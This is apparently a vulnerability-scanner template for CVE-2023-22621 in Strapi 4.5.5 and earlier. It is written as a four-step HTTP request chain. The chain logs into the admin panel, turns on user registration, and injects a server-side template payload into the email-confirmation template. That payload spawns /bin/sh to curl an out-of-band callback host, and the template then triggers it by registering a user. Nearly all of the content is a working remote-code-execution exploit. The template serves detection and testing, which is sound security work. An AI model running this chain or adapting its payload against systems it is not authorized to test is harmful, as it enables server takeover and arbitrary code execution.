id: CVE-2023-22621

info:
  name: Strapi Versions <=4.5.5 - SSTI to Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.
  reference:
    - https://github.com/strapi/strapi/releases
    - https://github.com/sofianeelhor/CVE-2023-22621-POC
    - https://github.com/strapi/security-patches
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22621
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-22621
    cwe-id: CWE-74
    epss-score: 0.83441
    epss-percentile: 0.99262
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: strapi
    product: strapi
    shodan-query: html:"Welcome to your Strapi app"
  tags: cve,cve2023,strapi,ssti,rce,intrusive,authenticated

flow: http(1) && http(2) && http(3) && http(4)

variables:
  email: "{{email}}"
  password: "{{password}}"
  address: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{email}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "token","isActive")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

    extractors:
      - type: json
        part: body
        name: token
        json:
          - ".data.token"
        internal: true

  - raw:
      - |
        PUT /users-permissions/advanced HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"unique_email":true,"allow_register":true,"email_confirmation":true,"email_reset_password":null,"email_confirmation_redirection":"{{RootURL}}","default_role":"authenticated"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ok","true")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        PUT /users-permissions/email-templates HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {
          "email-templates": {
            "reset_password": {
              "display": "Email.template.reset_password",
              "icon": "sync",
              "options": {
                "from": {
                  "name": "Administration Panel",
                  "email": "no-reply@strapi.io"
                },
                "response_email": "",
                "object": "Reset password",
                "message": "<p>We heard that you lost your password. Sorry about that!</p>\n\n<p>But dont worry! You can use the following link to reset your password:</p>\n<p><%= URL %>?code=<%= TOKEN %></p>\n\n<p>Thanks.</p>"
              }
            },
            "email_confirmation": {
              "display": "Email.template.email_confirmation",
              "icon": "check-square",
              "options": {
                "from": {
                  "name": "Administration Panel",
                  "email": "no-reply@strapi.io"
                },
                "response_email": "",
                "object": "Account confirmation",
                "message": "<%= `${ process.binding('spawn_sync').spawn({\"file\":\"/bin/sh\",\"args\":[\"/bin/sh\",\"-c\",\"curl {{interactsh-url}}\"],\"stdio\":[{\"readable\":1,\"writable\":1,\"type\":\"pipe\"},{\"readable\":1,\"writable\":1,\"type\":\"pipe\"/*<>%=*/}]}).output }` %>\n\n<p><%= URL %>?confirmation=<%= CODE %></p>\n\n<p>Thanks.</p>"
              }
            }
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ok","true")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/auth/local/register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "email": "{{address}}",
            "username": "{{randstr_1}}",
            "password": "{{randstr_2}}"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "ApplicationError"

      - type: word
        part: content_type
        words:
          - application/json
# digest: 4a0a00473045022100ea24dd997e3b4dc57621af228db9a36dc016db10846cd2d48668c4d52966e3fb022071d6e995699f2466c9d2bcd35449a0c027a558826bda1ea8278d576df90db5c1:922c64590222798bb761d5b6d8e72950